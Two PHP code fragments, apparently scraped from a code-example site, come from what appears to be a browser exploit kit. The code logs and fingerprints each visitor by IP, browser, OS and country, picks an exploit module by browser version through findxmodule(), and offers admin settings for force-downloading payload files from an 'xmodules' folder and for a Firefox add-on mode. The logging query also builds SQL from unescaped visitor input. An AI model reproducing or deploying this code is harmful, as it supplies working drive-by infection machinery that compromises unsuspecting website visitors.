Example #1
0
        header('Content-Length: ' . filesize($file));
        @set_time_limit(0);
        @readfile($file);
        exit;
    }
}
// EXPLOIT MODES (END)
if (SettingTrue("mode_log")) {
    if (!EntryExists($ip)) {
        $mysql_tablename = _PREFIX_ . "visitors";
        $timestamp = time();
        $sql = "INSERT INTO " . $mysql_tablename . " (`referer`, `platform`, `browser`, `ip`, `flag`, `country`, `success`, `date`, `time`, `timestamp`) VALUES ('{$referer}', '{$br->Platform}', '{$browser}', '{$ip}', '{$gc->Flag}', '{$gc->Country}', '{$success}', '{$time}', '{$clock}', '{$timestamp}');";
        mysql_query($sql) or die(mysql_error());
    }
}
if (SettingTrue("mode_debug")) {
    echo htmlspecialchars($_SERVER['HTTP_USER_AGENT']) . "<br>";
    echo "<b>Debug Mode active! Printing all infos:</b><br>";
    echo "<b>Referer:</b> " . $referer . "<br>";
    echo "<b>Your IP:</b> " . $_SERVER['REMOTE_ADDR'] . "<br>";
    echo "<b>Your Host:</b> " . gethostbyaddr($_SERVER['REMOTE_ADDR']) . "<br>";
    echo "<b>You are From:</b> " . $gc->Country . " <img src=img/countries/" . $gc->Flag . ".png></img><br>";
    echo "<b>Your Browser:</b> " . $browser . "<br>";
    echo "<b>Your OS:</b> <img src=img/os/" . $br->Picture . " height=30 width=30 />" . $br->Platform . "<br>";
    echo "<b>Architecture:</b> " . $br->Architecture . "<br>";
    echo "<b>Timestamp:</b> " . $time . "/" . $clock . "<br>";
    $exploit = findxmodule($br->Name, $br->Version);
    if (empty($exploit)) {
        echo "NO Exploit available or deactivated!";
    } else {
        echo "<font color=red><b>Exploit available: {$exploit}</b></font>";
Example #2
0
if (SettingTrue("mode_ffaddon")) {
    $state = "checked=checked";
    $active = "";
}
echo "Firefox-Addon-Mode: <input type=checkbox name=mode_ffaddon {$state} onclick=\"this.form.ffaddon_file.disabled=!this.checked\"><br>";
$state = SettingTrue("ffaddon_file", 1);
echo "Firefox-Addon-File: <input type=text name=ffaddon_file value={$state} {$active}><br><br>";
$active = "disabled";
$state = "";
if (SettingTrue("mode_forcedl")) {
    $state = "checked=checked";
    $active = "";
}
echo "Force-Download-Mode: <input type=checkbox name=mode_forcedl {$state} onclick=\"this.form.forcedl_file.disabled=!this.checked\"><br>";
$state = "";
$state = SettingTrue("forcedl_file", 1);
echo "Forcedownload-File: <select {$active} name=forcedl_file>";
if (empty($state)) {
    echo "<option>select...</option>";
}
$d_state = explode('xmodules/', $state);
echo "<option value={$state}>" . $d_state['1'] . "</option>";
$d = dir('xmodules/');
while (false !== ($entry = $d->read())) {
    if ($entry != '.' and $entry != '..' and $entry != $d_state['1']) {
        echo "<option value=\"xmodules/{$entry}\">{$entry}</option>";
    }
}
$d->close();
echo "</select><br>";
?>